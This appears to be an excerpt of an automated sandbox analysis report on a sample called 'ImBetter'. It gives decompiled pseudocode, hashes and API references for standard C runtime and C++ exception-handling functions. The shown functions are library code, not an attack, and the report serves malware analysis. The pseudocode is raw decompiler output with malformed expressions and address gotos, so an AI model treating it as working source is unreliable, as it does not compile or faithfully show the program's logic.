0x7ff7e6b4934e
0x7ff7e6b49351
0x7ff7e6b49357
0x7ff7e6b4935f
0x7ff7e6b49364
0x7ff7e6b49369
0x7ff7e6b4936e
0x7ff7e6b49373
0x7ff7e6b49375
0x7ff7e6b49378
0x7ff7e6b49380
0x7ff7e6b49384
0x7ff7e6b49386
0x7ff7e6b4938a
0x7ff7e6b49393
0x7ff7e6b49395
0x7ff7e6b49399
0x7ff7e6b4939e
0x7ff7e6b493a0
0x7ff7e6b493a5
0x7ff7e6b493aa
0x7ff7e6b493ac
0x7ff7e6b493b1
0x7ff7e6b493b7
0x7ff7e6b493bb
0x7ff7e6b493c0
0x7ff7e6b493c2
0x7ff7e6b493c6
0x7ff7e6b493ca
0x7ff7e6b493ce
0x7ff7e6b493d3
0x7ff7e6b493d5
0x7ff7e6b493e1
0x7ff7e6b493e7
0x7ff7e6b493ec
0x7ff7e6b493f5
0x7ff7e6b493f9
0x7ff7e6b493fd
0x7ff7e6b493ff
0x7ff7e6b49407
0x7ff7e6b4940c
0x7ff7e6b49411
0x7ff7e6b49417
0x7ff7e6b4941b
0x7ff7e6b49420
0x7ff7e6b49437
0x7ff7e6b49441
0x7ff7e6b49443
0x7ff7e6b49447
0x7ff7e6b4944e
0x7ff7e6b49454
0x7ff7e6b4945a
0x7ff7e6b49462
0x7ff7e6b49464
0x7ff7e6b4947b
0x7ff7e6b4947d
0x7ff7e6b49481
0x7ff7e6b49483
0x7ff7e6b4949a
0x7ff7e6b4949c
0x7ff7e6b494a3
0x7ff7e6b494a5
0x7ff7e6b494bc
0x7ff7e6b494be
0x7ff7e6b494c9
0x7ff7e6b494d6
0x7ff7e6b494db
0x7ff7e6b494e0
0x7ff7e6b494e5
0x7ff7e6b4950d

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B494EB

Part of subcall function 00007FF7E6B3A240: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B3A25D

Strings

UTF-8, xrefs: 00007FF7E6B4946A
UTF-16LEUNICODE, xrefs: 00007FF7E6B49489
ccs, xrefs: 00007FF7E6B49426

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 549b08c66a8e321ff14470a1822f3a024ce0c39f24ae15d58ee532e0acd98d46
Instruction ID: e5cc4b3649ed468a1e79eb59f16297bc73c498446a5698d8d26faec5518ec905
Opcode Fuzzy Hash: 549b08c66a8e321ff14470a1822f3a024ce0c39f24ae15d58ee532e0acd98d46
Instruction Fuzzy Hash: 51818F32D2C20285EB74BF25C95037AB7A0AB12B88FF54136CA1D576C5EB7DA901D623

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B48F48 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 212
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E00007FF77FF7E6B48F48(signed int __rax, long long __rbx, signed int* __rcx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				intOrPtr _t27;
				signed int _t30;
				intOrPtr _t43;
				char _t50;
				void* _t55;
				void* _t76;
				signed int _t82;
				void* _t83;
				signed int _t87;
				intOrPtr* _t103;
				intOrPtr* _t122;
				intOrPtr* _t124;
				char* _t125;
				intOrPtr* _t132;
				char* _t133;
				void* _t134;

				_t103 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				 *__rcx = __rax;
				__rcx[2] = 0;
				__rcx[1] =  *0xe6b6e028;
				goto 0xe6b48f78;
				_t132 = __rdx + 1;
				_t27 =  *_t132;
				if (_t27 == 0x20) goto 0xe6b48f72;
				if (_t27 == 0x61) goto 0xe6b48fa2;
				if (_t27 == 0x72) goto 0xe6b48f99;
				if (_t27 != 0x77) goto 0xe6b491e6;
				 *__rcx = 0x301;
				goto 0xe6b48fa8;
				__rcx[1] = 1;
				goto 0xe6b48fab;
				 *__rcx = 0x109;
				__rcx[1] = 2;
				_t133 = _t132 + 1;
				r9b = 0;
				dil = 0;
				r10b = 0;
				r11b = 0;
				if ( *_t133 == 0) goto 0xe6b4910b;
				_t50 =  *_t133;
				_t76 = _t50 - 0x53;
				if (_t76 > 0) goto 0xe6b49079;
				if (_t76 == 0) goto 0xe6b49062;
				if (_t76 == 0) goto 0xe6b490f9;
				if (_t76 == 0) goto 0xe6b49030;
				if (_t76 == 0) goto 0xe6b49028;
				if (_t76 == 0) goto 0xe6b49016;
				_t55 = _t50 - 0xfffffffffffffff2;
				if (_t76 == 0) goto 0xe6b4900d;
				if (_t55 != 4) goto 0xe6b491e6;
				if (r10b != 0) goto 0xe6b490ed;
				 *__rcx =  *__rcx | 0x00000010;
				goto 0xe6b4906e;
				asm("bts dword [ebx], 0x7");
				goto 0xe6b490f7;
				if (( *__rcx & 0x00000040) != 0) goto 0xe6b490ed;
				goto 0xe6b490f5;
				r11b = 1;
				goto 0xe6b490ed;
				if (dil != 0) goto 0xe6b490ed;
				_t30 =  *__rcx;
				dil = 1;
				if ((sil & _t30) != 0) goto 0xe6b490ed;
				 *__rcx = _t30 & 0xfffffffe | 0x00000002;
				__rcx[1] = __rcx[1] & 0xfffffffc | 0x00000004;
				goto 0xe6b490f9;
				_t82 = r10b;
				if (_t82 != 0) goto 0xe6b490ed;
				 *__rcx =  *__rcx | 0x00000020;
				r10b = 1;
				goto 0xe6b490f9;
				if (_t82 == 0) goto 0xe6b490e5;
				if (_t82 == 0) goto 0xe6b490d6;
				if (_t82 == 0) goto 0xe6b490c4;
				if (_t82 == 0) goto 0xe6b490b8;
				if (_t82 == 0) goto 0xe6b490a9;
				_t83 = _t55 - 0x34 - 4;
				if (_t83 != 0) goto 0xe6b491e6;
				asm("bt eax, 0x9");
				if (_t83 >= 0) goto 0xe6b490ed;
				asm("bts eax, 0xa");
				goto 0xe6b490f5;
				if (( *__rcx & 0x0000c000) != 0) goto 0xe6b490ed;
				asm("bts eax, 0xe");
				goto 0xe6b490f5;
				if (r9b != 0) goto 0xe6b490ed;
				asm("btr dword [ebx+0x4], 0xb");
				goto 0xe6b490ce;
				if (r9b != 0) goto 0xe6b490ed;
				asm("bts dword [ebx+0x4], 0xb");
				r9b = 1;
				goto 0xe6b490f9;
				_t87 =  *__rcx & 0x0000c000;
				if (_t87 != 0) goto 0xe6b490ed;
				asm("bts eax, 0xf");
				goto 0xe6b490f5;
				asm("bt eax, 0xc");
				if (_t87 >= 0) goto 0xe6b490f1;
				goto 0xe6b490f9;
				asm("bts eax, 0xc");
				_t134 = _t133 + __rax;
				if (1 != 0) goto 0xe6b48fbc;
				_t121 =  ==  ? _t134 : _t134 + 1;
				goto 0xe6b4911b;
				_t122 = ( ==  ? _t134 : _t134 + 1) + 1;
				if ( *_t122 == 0x20) goto 0xe6b49118;
				if (r11b != 0) goto 0xe6b49137;
				if ( *_t122 != r11b) goto 0xe6b491e6;
				__rcx[2] = 1;
				goto 0xe6b491f6;
				r8d = 3;
				if (E00007FF77FF7E6B45A50(_t55 - 0x34, _t122, 0xe6b5c6d8, _t134) != 0) goto 0xe6b491e6;
				goto 0xe6b4915d;
				_t124 = _t122 + 4;
				_t43 =  *_t124;
				if (_t43 == 0x20) goto 0xe6b4915a;
				if (_t43 != 0x3d) goto 0xe6b491e6;
				_t125 = _t124 + 1;
				if ( *_t125 == 0x20) goto 0xe6b49167;
				r8d = 5;
				if (E00007FF77FF7E6B3BCE4(_t103, _t125) != 0) goto 0xe6b49190;
				asm("bts dword [ebx], 0x12");
				goto 0xe6b491d0;
				r8d = 8;
				if (E00007FF77FF7E6B3BCE4(_t103, _t125) != 0) goto 0xe6b491b1;
				asm("bts dword [ebx], 0x11");
				goto 0xe6b491d0;
				r8d = 7;
				if (E00007FF77FF7E6B3BCE4(_t103, _t125) != 0) goto 0xe6b491e6;
				asm("bts dword [ebx], 0x10");
				goto 0xe6b491d9;
				if ( *((intOrPtr*)(_t125 + __rsi + 1)) == 0x20) goto 0xe6b491d6;
				goto 0xe6b49128;
				E00007FF77FF7E6B29CE4(_t103);
				 *_t103 = 0x16;
				return E00007FF77FF7E6B25994();
			}

0x7ff7e6b48f48
0x7ff7e6b48f48
0x7ff7e6b48f4d
0x7ff7e6b48f5c
0x7ff7e6b48f62
0x7ff7e6b48f6b
0x7ff7e6b48f70
0x7ff7e6b48f72
0x7ff7e6b48f75
0x7ff7e6b48f7a
0x7ff7e6b48f83
0x7ff7e6b48f87
0x7ff7e6b48f8b
0x7ff7e6b48f91
0x7ff7e6b48f97
0x7ff7e6b48f99
0x7ff7e6b48fa0
0x7ff7e6b48fa2
0x7ff7e6b48fa8
0x7ff7e6b48fab
0x7ff7e6b48fae
0x7ff7e6b48fb1
0x7ff7e6b48fb4
0x7ff7e6b48fb7
0x7ff7e6b48fc0
0x7ff7e6b48fc6
0x7ff7e6b48fca
0x7ff7e6b48fcd
0x7ff7e6b48fd3
0x7ff7e6b48fdc
0x7ff7e6b48fe5
0x7ff7e6b48fea
0x7ff7e6b48fef
0x7ff7e6b48ff1
0x7ff7e6b48ff4
0x7ff7e6b48ff9
0x7ff7e6b49002
0x7ff7e6b49008
0x7ff7e6b4900b
0x7ff7e6b4900d
0x7ff7e6b49011
0x7ff7e6b4901a
0x7ff7e6b49023
0x7ff7e6b49028
0x7ff7e6b4902b
0x7ff7e6b49033
0x7ff7e6b49039
0x7ff7e6b4903b
0x7ff7e6b49041
0x7ff7e6b4904f
0x7ff7e6b4905a
0x7ff7e6b4905d
0x7ff7e6b49062
0x7ff7e6b49065
0x7ff7e6b4906b
0x7ff7e6b4906e
0x7ff7e6b49074
0x7ff7e6b4907c
0x7ff7e6b49081
0x7ff7e6b49086
0x7ff7e6b4908b
0x7ff7e6b49090
0x7ff7e6b49092
0x7ff7e6b49095
0x7ff7e6b4909d
0x7ff7e6b490a1
0x7ff7e6b490a3
0x7ff7e6b490a7
0x7ff7e6b490b0
0x7ff7e6b490b2
0x7ff7e6b490b6
0x7ff7e6b490bb
0x7ff7e6b490bd
0x7ff7e6b490c2
0x7ff7e6b490c7
0x7ff7e6b490c9
0x7ff7e6b490ce
0x7ff7e6b490d4
0x7ff7e6b490d8
0x7ff7e6b490dd
0x7ff7e6b490df
0x7ff7e6b490e3
0x7ff7e6b490e7
0x7ff7e6b490eb
0x7ff7e6b490ef
0x7ff7e6b490f1
0x7ff7e6b49100
0x7ff7e6b49105
0x7ff7e6b49112
0x7ff7e6b49116
0x7ff7e6b49118
0x7ff7e6b4911e
0x7ff7e6b49123
0x7ff7e6b49128
0x7ff7e6b4912e
0x7ff7e6b49132
0x7ff7e6b49137
0x7ff7e6b4914e
0x7ff7e6b49158
0x7ff7e6b4915a
0x7ff7e6b4915d
0x7ff7e6b49161
0x7ff7e6b49165
0x7ff7e6b49167
0x7ff7e6b4916d
0x7ff7e6b4917b
0x7ff7e6b49188
0x7ff7e6b4918a
0x7ff7e6b4918e
0x7ff7e6b4919c
0x7ff7e6b491a9
0x7ff7e6b491ab
0x7ff7e6b491af
0x7ff7e6b491bd
0x7ff7e6b491ca
0x7ff7e6b491cc
0x7ff7e6b491d4
0x7ff7e6b491dd
0x7ff7e6b491e1
0x7ff7e6b491e6
0x7ff7e6b491eb
0x7ff7e6b49208

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B491F1

Part of subcall function 00007FF7E6B3BCE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B3BD01

Strings

UTF-8, xrefs: 00007FF7E6B49174
UTF-16LEUNICODE, xrefs: 00007FF7E6B49195
ccs, xrefs: 00007FF7E6B4913D

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: ec7defd85aeb2df2b9fb002f52da1dc152c90c9a3d0a5ff87dfad4e8ad40535c
Instruction ID: 3adf56479728aece1e0991e4575e00fa528ca593e32e40257412c99a4a573274
Opcode Fuzzy Hash: ec7defd85aeb2df2b9fb002f52da1dc152c90c9a3d0a5ff87dfad4e8ad40535c
Instruction Fuzzy Hash: 1681E231D2C25295FB757A288E4437BBBA19F11748FF49033C90E823D9EA3DA9019323

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B41158 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 61%

			E00007FF77FF7E6B41158(void* __edx, intOrPtr* __rcx, void* __rdx, long long __r8, void* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t94;
				intOrPtr _t95;
				intOrPtr _t125;
				void* _t126;
				void* _t136;
				intOrPtr _t137;
				signed long long _t143;
				long long _t145;
				long long _t150;
				void* _t151;
				intOrPtr* _t171;
				long long _t182;
				long long _t183;
				intOrPtr* _t184;
				void* _t185;
				intOrPtr* _t186;
				intOrPtr* _t187;
				void* _t188;
				signed long long _t189;
				intOrPtr _t197;
				void* _t204;
				long long _t205;

				_t126 = __edx;
				_t187 = _t188 - 0x38;
				_t189 = _t188 - 0x138;
				_t143 =  *0xe6b6bbc0; // 0x7a937e77a598
				 *(_t187 + 0x28) = _t143 ^ _t189;
				_t185 = __r9;
				_t145 =  *((intOrPtr*)(_t187 + 0xb8));
				_t204 = __rdx;
				_t205 =  *((intOrPtr*)(_t187 + 0xa0));
				_t186 = __rcx;
				 *((long long*)(_t189 + 0x70)) = _t145;
				 *((long long*)(_t189 + 0x78)) = __r8;
				if ( *__rcx == 0x80000003) goto 0xe6b41421;
				E00007FF77FF7E6B3FA9C(_t145);
				r12d =  *((intOrPtr*)(_t187 + 0xb0));
				r15d =  *((intOrPtr*)(_t187 + 0xa8));
				if ( *((long long*)(_t145 + 0x10)) == 0) goto 0xe6b41220;
				__imp__EncodePointer();
				_t160 = _t145;
				E00007FF77FF7E6B3FA9C(_t145);
				if ( *((intOrPtr*)(_t145 + 0x10)) == _t145) goto 0xe6b41220;
				if ( *__rcx == 0xe0434f4d) goto 0xe6b41220;
				if ( *__rcx == 0xe0434352) goto 0xe6b41220;
				 *((intOrPtr*)(_t189 + 0x38)) = r15d;
				 *(_t189 + 0x30) =  *((intOrPtr*)(_t189 + 0x70));
				 *((intOrPtr*)(_t189 + 0x28)) = r12d;
				 *((long long*)(_t189 + 0x20)) = _t205;
				if (E00007FF77FF7E6B3DAD8(__rcx, __rdx,  *((intOrPtr*)(_t189 + 0x78)), __r9) != 0) goto 0xe6b41421;
				E00007FF77FF7E6B41C78(_t187, _t205,  *((intOrPtr*)(__r9 + 8)));
				if ( *_t187 <= 0) goto 0xe6b41441;
				 *((intOrPtr*)(_t189 + 0x28)) = r12d;
				 *((long long*)(_t189 + 0x20)) = _t205;
				r8d = r15d;
				_t94 = E00007FF77FF7E6B3DFB0(_t145, _t187 - 0x70, _t187, _t185, __rcx, _t187);
				asm("movups xmm0, [ebp-0x70]");
				asm("movdqu [ebp-0x80], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("movd eax, xmm0");
				if (_t94 -  *((intOrPtr*)(_t187 - 0x58)) >= 0) goto 0xe6b41421;
				_t95 =  *((intOrPtr*)(_t187 - 0x78));
				 *((long long*)(_t189 + 0x68)) =  *((intOrPtr*)(_t187 - 0x70));
				 *((intOrPtr*)(_t189 + 0x60)) = _t95;
				asm("inc ecx");
				asm("dec ax");
				asm("movups [ebp-0x80], xmm0");
				if (_t95 - r15d > 0) goto 0xe6b41387;
				_t136 = r15d - _t95;
				if (_t136 > 0) goto 0xe6b41387;
				r9d =  *((intOrPtr*)( *((intOrPtr*)(_t185 + 0x10))));
				E00007FF77FF7E6B41BFC( *((intOrPtr*)(_t185 + 0x10)), _t187 - 0x50, _t187 - 0x80,  *((intOrPtr*)(_t185 + 8)));
				 *((long long*)(_t187 - 0x48)) =  *((intOrPtr*)(_t187 - 0x40));
				E00007FF77FF7E6B421E8( *((intOrPtr*)(_t187 - 0x40)), _t187 - 0x50);
				_t150 =  *((intOrPtr*)(_t187 - 0x40));
				 *((long long*)(_t187 - 0x48)) = _t150;
				E00007FF77FF7E6B421E8(_t150, _t187 - 0x50);
				if (_t136 == 0) goto 0xe6b412fe;
				E00007FF77FF7E6B421E8(_t150, _t187 - 0x50);
				if (_t136 != 0) goto 0xe6b412ef;
				_t137 =  *((intOrPtr*)(_t187 - 0x30));
				if (_t137 == 0) goto 0xe6b4132c;
				E00007FF77FF7E6B3E594(_t150);
				_t151 = _t150 +  *((intOrPtr*)(_t187 - 0x30));
				if (_t137 == 0) goto 0xe6b4132c;
				if (_t126 == 0) goto 0xe6b41324;
				E00007FF77FF7E6B3E594(_t151);
				goto 0xe6b41326;
				if ( *((char*)(_t151 +  *((intOrPtr*)(_t187 - 0x30)) + 0x10)) != 0) goto 0xe6b4137b;
				if (( *(_t187 - 0x34) & 0x00000040) != 0) goto 0xe6b4137b;
				 *((char*)(_t189 + 0x58)) = 0;
				_t171 = _t186;
				 *((char*)(_t189 + 0x50)) = 1;
				 *((long long*)(_t189 + 0x48)) =  *((intOrPtr*)(_t189 + 0x70));
				 *((intOrPtr*)(_t189 + 0x40)) = r12d;
				 *((long long*)(_t189 + 0x38)) = _t187 - 0x80;
				 *(_t189 + 0x30) =  *(_t189 + 0x30) & 0x00000000;
				 *((long long*)(_t189 + 0x28)) = _t187 - 0x38;
				 *((long long*)(_t189 + 0x20)) = _t205;
				E00007FF77FF7E6B40494(0, _t160 - 1, _t171, _t204,  *((intOrPtr*)(_t189 + 0x78)), _t185);
				_t197 =  *((intOrPtr*)(_t189 + 0x68));
				_t182 =  *((intOrPtr*)(_t197 + 8)) -  *((char*)(_t171 + 0x7ff7e6b57da0));
				 *((long long*)(_t197 + 8)) = _t182;
				 *(_t197 + 0x18) =  *(_t182 - 4) >>  *(_t171 + 0x7ff7e6b57db0);
				_t183 = _t182 -  *((char*)(_t171 + 0x7ff7e6b57da0));
				 *((long long*)(_t197 + 8)) = _t183;
				 *(_t197 + 0x1c) =  *(_t183 - 4) >>  *(_t171 + 0x7ff7e6b57db0);
				_t184 = _t183 -  *((char*)(_t171 + 0x7ff7e6b57da0));
				 *(_t197 + 0x20) =  *(_t184 - 4) >>  *(_t171 + 0x7ff7e6b57db0);
				 *((long long*)(_t197 + 8)) = _t184;
				 *((intOrPtr*)(_t197 + 0x24)) =  *_t184;
				_t125 =  *((intOrPtr*)(_t189 + 0x60)) + 1;
				 *((long long*)(_t197 + 8)) = _t184 + 4;
				 *((intOrPtr*)(_t189 + 0x60)) = _t125;
				if (_t125 -  *((intOrPtr*)(_t187 - 0x58)) < 0) goto 0xe6b41289;
				return E00007FF77FF7E6B3C7F0( *(_t184 - 4) >>  *(_t171 + 0x7ff7e6b57db0), _t125,  *(_t187 + 0x28) ^ _t189);
			}

0x7ff7e6b41158
0x7ff7e6b41165
0x7ff7e6b4116a
0x7ff7e6b41171
0x7ff7e6b4117b
0x7ff7e6b41185
0x7ff7e6b41188
0x7ff7e6b4118f
0x7ff7e6b41192
0x7ff7e6b41199
0x7ff7e6b4119c
0x7ff7e6b411a1
0x7ff7e6b411a6
0x7ff7e6b411ac
0x7ff7e6b411b1
0x7ff7e6b411b8
0x7ff7e6b411c4
0x7ff7e6b411c8
0x7ff7e6b411ce
0x7ff7e6b411d1
0x7ff7e6b411da
0x7ff7e6b411e2
0x7ff7e6b411ea
0x7ff7e6b411fc
0x7ff7e6b41204
0x7ff7e6b41209
0x7ff7e6b4120e
0x7ff7e6b4121a
0x7ff7e6b4122b
0x7ff7e6b41234
0x7ff7e6b4123a
0x7ff7e6b41246
0x7ff7e6b4124b
0x7ff7e6b41252
0x7ff7e6b41257
0x7ff7e6b4125b
0x7ff7e6b41260
0x7ff7e6b41265
0x7ff7e6b4126c
0x7ff7e6b4127d
0x7ff7e6b41280
0x7ff7e6b41285
0x7ff7e6b41289
0x7ff7e6b4128e
0x7ff7e6b41293
0x7ff7e6b4129a
0x7ff7e6b412a4
0x7ff7e6b412a7
0x7ff7e6b412bd
0x7ff7e6b412c0
0x7ff7e6b412cd
0x7ff7e6b412d1
0x7ff7e6b412d6
0x7ff7e6b412e1
0x7ff7e6b412e5
0x7ff7e6b412ed
0x7ff7e6b412f3
0x7ff7e6b412fc
0x7ff7e6b412fe
0x7ff7e6b41302
0x7ff7e6b41304
0x7ff7e6b4130d
0x7ff7e6b41310
0x7ff7e6b41314
0x7ff7e6b41316
0x7ff7e6b41322
0x7ff7e6b4132a
0x7ff7e6b41330
0x7ff7e6b41342
0x7ff7e6b41347
0x7ff7e6b4134a
0x7ff7e6b4134f
0x7ff7e6b41358
0x7ff7e6b4135d
0x7ff7e6b41366
0x7ff7e6b4136c
0x7ff7e6b41371
0x7ff7e6b41376
0x7ff7e6b4137b
0x7ff7e6b413a2
0x7ff7e6b413aa
0x7ff7e6b413ae
0x7ff7e6b413c9
0x7ff7e6b413d1
0x7ff7e6b413d5
0x7ff7e6b413f0
0x7ff7e6b413f8
0x7ff7e6b41400
0x7ff7e6b41406
0x7ff7e6b4140e
0x7ff7e6b41410
0x7ff7e6b41414
0x7ff7e6b4141b
0x7ff7e6b41440

APIs

EncodePointer.KERNEL32 ref: 00007FF7E6B411C8
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7E6B41213

Strings

RCC, xrefs: 00007FF7E6B411E4
MOC, xrefs: 00007FF7E6B411DC

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 276f0b3034028b4075f9f62775433e34f0a0b6340654837eb892ddc5191921b1
Instruction ID: 4a8a2355e12087283a0cf8d42fa0bcf3e9f5cce5642ad43916981f5ca00f2b17
Opcode Fuzzy Hash: 276f0b3034028b4075f9f62775433e34f0a0b6340654837eb892ddc5191921b1
Instruction Fuzzy Hash: 7491B073A187918AE710EB64E8843AEBBB0FB45788F604126EF4C47B55EF38D195CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B40F3C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF7E6B40F3C(long long __rbx, intOrPtr* __rcx, long long __rdx, long long __r8, void* __r9) {
				void* _t19;
				void* _t27;
				void* _t36;
				void* _t39;
				void* _t42;
				void* _t43;
				void* _t45;
				void* _t46;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;

				_t27 = _t45;
				 *((long long*)(_t27 + 0x20)) = __rbx;
				 *((long long*)(_t27 + 0x18)) = __r8;
				 *((long long*)(_t27 + 0x10)) = __rdx;
				_t43 = _t27 - 0x3f;
				_t46 = _t45 - 0xc0;
				if ( *__rcx == 0x80000003) goto 0xe6b40fe0;
				E00007FF77FF7E6B3FA9C(_t27);
				r12d =  *((intOrPtr*)(_t43 + 0x6f));
				if ( *((long long*)(_t27 + 0x10)) == 0) goto 0xe6b40ffb;
				__imp__EncodePointer(_t59, _t56, _t54, _t52, _t36, _t39, _t42);
				E00007FF77FF7E6B3FA9C(_t27);
				if ( *((intOrPtr*)(_t27 + 0x10)) == _t27) goto 0xe6b40ffb;
				if ( *__rcx == 0xe0434f4d) goto 0xe6b40ffb;
				r13d =  *((intOrPtr*)(_t43 + 0x77));
				if ( *__rcx == 0xe0434352) goto 0xe6b40fff;
				 *((intOrPtr*)(_t46 + 0x38)) = r12d;
				 *((long long*)(_t46 + 0x30)) =  *((intOrPtr*)(_t43 + 0x7f));
				 *((intOrPtr*)(_t46 + 0x28)) = r13d;
				 *((long long*)(_t46 + 0x20)) =  *((intOrPtr*)(_t43 + 0x67));
				_t19 = E00007FF77FF7E6B3DA84(__rcx,  *((intOrPtr*)(_t43 + 0x4f)), __r8, __r9);
				if (_t19 == 0) goto 0xe6b40fff;
				return _t19;
			}

0x7ff7e6b40f3c
0x7ff7e6b40f3f
0x7ff7e6b40f43
0x7ff7e6b40f47
0x7ff7e6b40f56
0x7ff7e6b40f5a
0x7ff7e6b40f70
0x7ff7e6b40f72
0x7ff7e6b40f77
0x7ff7e6b40f84
0x7ff7e6b40f88
0x7ff7e6b40f91
0x7ff7e6b40f9a
0x7ff7e6b40fa3
0x7ff7e6b40fac
0x7ff7e6b40fb0
0x7ff7e6b40fc0
0x7ff7e6b40fc8
0x7ff7e6b40fcd
0x7ff7e6b40fd2
0x7ff7e6b40fd7
0x7ff7e6b40fde
0x7ff7e6b40ffa

APIs

EncodePointer.KERNEL32 ref: 00007FF7E6B40F88
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7E6B40FD7

Strings

RCC, xrefs: 00007FF7E6B40FA5
MOC, xrefs: 00007FF7E6B40F9C

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c0244e2dbf65c2b1ca43c44d1271b7eb59495129f2b46bf0c1b4292324026b6e
Instruction ID: 5a6c5aede3aca53dd47c73b6ec1254a651f67d2faee7a7a69e5c1520240dd8d8
Opcode Fuzzy Hash: c0244e2dbf65c2b1ca43c44d1271b7eb59495129f2b46bf0c1b4292324026b6e
Instruction Fuzzy Hash: 99618C32A18B8586E720EF65D8403AEB7A0FB44B88F644236EF4D13B98DF78E455C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B416CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00007FF77FF7E6B416CC(void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r9, void* _a8, void* _a16, void* _a24, void* _a32, signed int* _a40, char _a48, signed int _a56, signed int _a64) {
				signed int _v32;
				long long _v40;
				char _v48;
				signed int* _v56;
				void* _t55;
				intOrPtr _t60;
				signed int _t101;
				void* _t109;
				intOrPtr _t111;
				signed int* _t115;
				intOrPtr* _t136;
				void* _t139;
				void* _t142;
				void* _t144;
				void* _t158;
				void* _t159;

				_t109 = _t144;
				 *((long long*)(_t109 + 8)) = __rbx;
				 *((long long*)(_t109 + 0x10)) = __rbp;
				 *((long long*)(_t109 + 0x18)) = __rsi;
				 *((long long*)(_t109 + 0x20)) = __rdi;
				_t136 = __rcx;
				_t139 = __r9;
				_t159 = __r8;
				_t142 = __rdx;
				E00007FF77FF7E6B42D54(_t55, __r8);
				E00007FF77FF7E6B3FA9C(_t109);
				_t115 = _a40;
				if ( *((intOrPtr*)(_t109 + 0x40)) != 0) goto 0xe6b4174e;
				if ( *__rcx == 0xe06d7363) goto 0xe6b4174e;
				if ( *__rcx != 0x80000029) goto 0xe6b41732;
				if ( *((intOrPtr*)(__rcx + 0x18)) != 0xf) goto 0xe6b41736;
				if ( *((long long*)(__rcx + 0x60)) == 0x19930520) goto 0xe6b4174e;
				if ( *__rcx == 0x80000026) goto 0xe6b4174e;
				if (( *_t115 & 0x1fffffff) - 0x19930522 < 0) goto 0xe6b4174e;
				if ((_t115[9] & 0x00000001) != 0) goto 0xe6b418dd;
